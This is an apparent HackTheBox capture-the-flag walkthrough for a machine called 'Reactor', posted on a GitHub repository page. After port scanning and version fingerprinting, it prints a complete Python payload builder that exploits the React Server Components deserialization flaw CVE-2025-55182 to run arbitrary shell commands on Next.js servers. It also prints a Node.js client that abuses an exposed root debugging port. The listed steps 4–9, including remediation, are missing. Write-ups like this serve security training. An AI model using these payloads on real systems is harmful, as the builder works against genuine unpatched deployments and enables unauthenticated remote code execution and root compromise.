sonnycroco/HTB-Reactor-Linux-Machine---Walkthrough
GitHub: sonnycroco/HTB-Reactor-Linux-Machine-Walkthrough
Stars: 0 | Forks: 0
# HTB: Reactor





## Machine Info
| Field | Details |
|-------|---------|
| **Name** | Reactor |
| **OS** | Ubuntu 24.04 LTS (Noble) |
| **Difficulty** | Medium |
| **CVE** | CVE-2025-55182 (CVSS 10.0) |
| **Ports** | 22 (SSH), 3000 (Next.js) |
| **Author** | sonnycroco |
## Overview
Reactor is themed around a nuclear plant monitoring dashboard called **ReactorWatch**. The box is entirely about two vulnerabilities chained together, no guessing, no rabbit holes, no brute force.
The path: a pre-release React 19 build exposes a critical deserialization flaw that gives you unauthenticated remote code execution with a single HTTP request. From there, a Node.js debugging port running as root hands you full system access via a WebSocket message.
**Attack chain:**
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
## Table of Contents
1. [Step 1: Recon](#step-1-recon)
2. [Step 2: Fingerprinting the Tech Stack](#step-2-fingerprinting-the-tech-stack)
3. [Step 3: Exploiting CVE-2025-55182 (Unauthenticated RCE)](#step-3-exploiting-cve-2025-55182-unauthenticated-rce)
4. [Step 4: Poking Around as node](#step-4-poking-around-as-node)
5. [Step 5: User Flag](#step-5-user-flag)
6. [Step 6: Privilege Escalation](#step-6-privilege-escalation)
7. [Step 7: Root Flag](#step-7-root-flag)
8. [Lessons Learned](#lessons-learned)
9. [Remediation](#remediation)
## Step 1: Recon
The first thing to do on any new machine is find out what's listening. A full port scan with service detection so nothing gets missed.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

Only two ports. SSH is a dead end at this stage since we have no credentials yet. Port 3000 is the target. Nmap already tells us it's **Next.js 15.0.3**, which is a good lead.
## Step 2: Fingerprinting the Tech Stack
Before throwing exploits at anything, I want to know the exact version of everything running. The HTTP headers already revealed Next.js, but the React version is the critical detail. React 19 was in pre-release for a long time and had some serious issues before the stable release.
Pulling one of the client-side JavaScript chunks to check:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
That `rc` in the version string is the smoking gun. This is a **release candidate build of React 19**, not the stable version. CVE databases confirm: **CVE-2025-55182** affects exactly this build. CVSS 10.0.
While here, I check the headers for middleware clues:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
No `x-middleware-rewrite` header anywhere, which means there is **no Next.js middleware installed**. This rules out CVE-2025-29927 (the middleware bypass), worth noting so you don't waste time on it.
**What we know:**
- Next.js 15.0.3 with `experimental.serverActions` enabled
- React `19.0.0-rc`, vulnerable to CVE-2025-55182
- App name: ReactorWatch (nuclear reactor sensor dashboard)
- No middleware, so the middleware bypass CVE does not apply here

## Step 3: Exploiting CVE-2025-55182 (Unauthenticated RCE)
### What the vulnerability is
React 19's Server Components introduced **Server Actions**, which are server-side functions callable by the client via HTTP POST with a `Next-Action` header. The multipart body parser that handles these requests has a critical flaw: it **unsafely deserializes** a reference type called `$1:__proto__:then`.
By crafting a multipart body that sets `_response._prefix` to arbitrary JavaScript, an attacker causes that code to be evaluated on the server. The output is then smuggled out via an exception Next.js uses internally for redirects (`NEXT_REDIRECT`), and ends up URL-encoded inside the `x-action-redirect` response header.
**Any POST to any page** with the `Next-Action` header triggers this. No auth check, no special endpoint. Just send the payload to `/` and you're in.
### Building the exploit
A small Python helper that takes a shell command as input, builds the multipart payload, and writes it to disk for `curl` to send:
make_rce.py - payload builder
# /tmp/make_rce.py import sys cmd = ' '.join(sys.argv[1:]) cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'") payload = ( b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n' b'Content-Disposition: form-data; name="0"\r\n\r\n' + ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,' '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":' '"var res=process.mainModule.require(\'child_process\').execSync(\'' + cmd_esc + '\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),' '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",' '"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8') + b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n' b'Content-Disposition: form-data; name="1"\r\n\r\n' b'"$@0"\r\n' b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n' b'Content-Disposition: form-data; name="2"\r\n\r\n' b'[]\r\n' b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--' ) with open('/tmp/rce_payload.bin', 'wb') as f: f.write(payload)inspector_exploit.js - dependency-free WebSocket CDP client
const net = require('net'); const crypto = require('crypto'); // Update WS_ID to match your instance's UUID from /json const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f'; const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()'; function encodeFrame(data) { const payload = Buffer.from(data, 'utf8'); const mask = crypto.randomBytes(4); let headerLen = (payload.length < 126) ? 6 : 8; const header = Buffer.alloc(headerLen); header[0] = 0x81; if (payload.length < 126) { header[1] = 0x80 | payload.length; mask.copy(header, 2); } else { header[1] = 0xfe; header.writeUInt16BE(payload.length, 2); mask.copy(header, 4); } const masked = Buffer.alloc(payload.length); const maskStart = headerLen - 4; for (let i = 0; i < payload.length; i++) { masked[i] = payload[i] ^ header[maskStart + (i % 4)]; } return Buffer.concat([header, masked]); } const sock = net.createConnection({ port: 9229, host: '127.0.0.1' }); let upgraded = false, chunks = Buffer.alloc(0); sock.on('connect', () => { sock.write( `GET /${WS_ID} HTTP/1.1\r\n` + `Host: 127.0.0.1:9229\r\n` + `Upgrade: websocket\r\n` + `Connection: Upgrade\r\n` + `Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` + `Sec-WebSocket-Version: 13\r\n\r\n` ); }); sock.on('data', (data) => { chunks = Buffer.concat([chunks, data]); if (!upgraded) { const str = chunks.toString('utf8'); const sep = str.indexOf('\r\n\r\n'); if (sep === -1) return; upgraded = true; chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4))); const msg = JSON.stringify({ id: 1, method: 'Runtime.evaluate', params: { expression: CMD, returnByValue: true } }); sock.write(encodeFrame(msg)); return; } while (chunks.length > 2) { const b1 = chunks[1] & 0x7f; let payloadStart, payloadLen; if (b1 < 126) { payloadLen = b1; payloadStart = 2; } else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; } if (chunks.length < payloadStart + payloadLen) return; process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n'); sock.destroy(); process.exit(0); } }); sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); }); setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);标签:CDP, CISA项目, CTF, CVE-2025-55182, GNU通用公共许可证, HackTheBox, HTB, inspect调试, Linux, Next.js, Node.js, Node.js Debugger, RCE, React, Reactor, ReactorWatch, Syscalls, Ubuntu, WebSocket, Web安全, Web报告查看器, 代码审计, 依赖分析, 协议分析, 反序列化漏洞, 复现步骤, 安全研究, 提权, 无线安全, 权限提升, 渗透测试, 漏洞分析, 编程工具, 网络安全, 网络安全审计, 蓝队分析, 路径探测, 远程代码执行, 隐私保护, 靶场攻略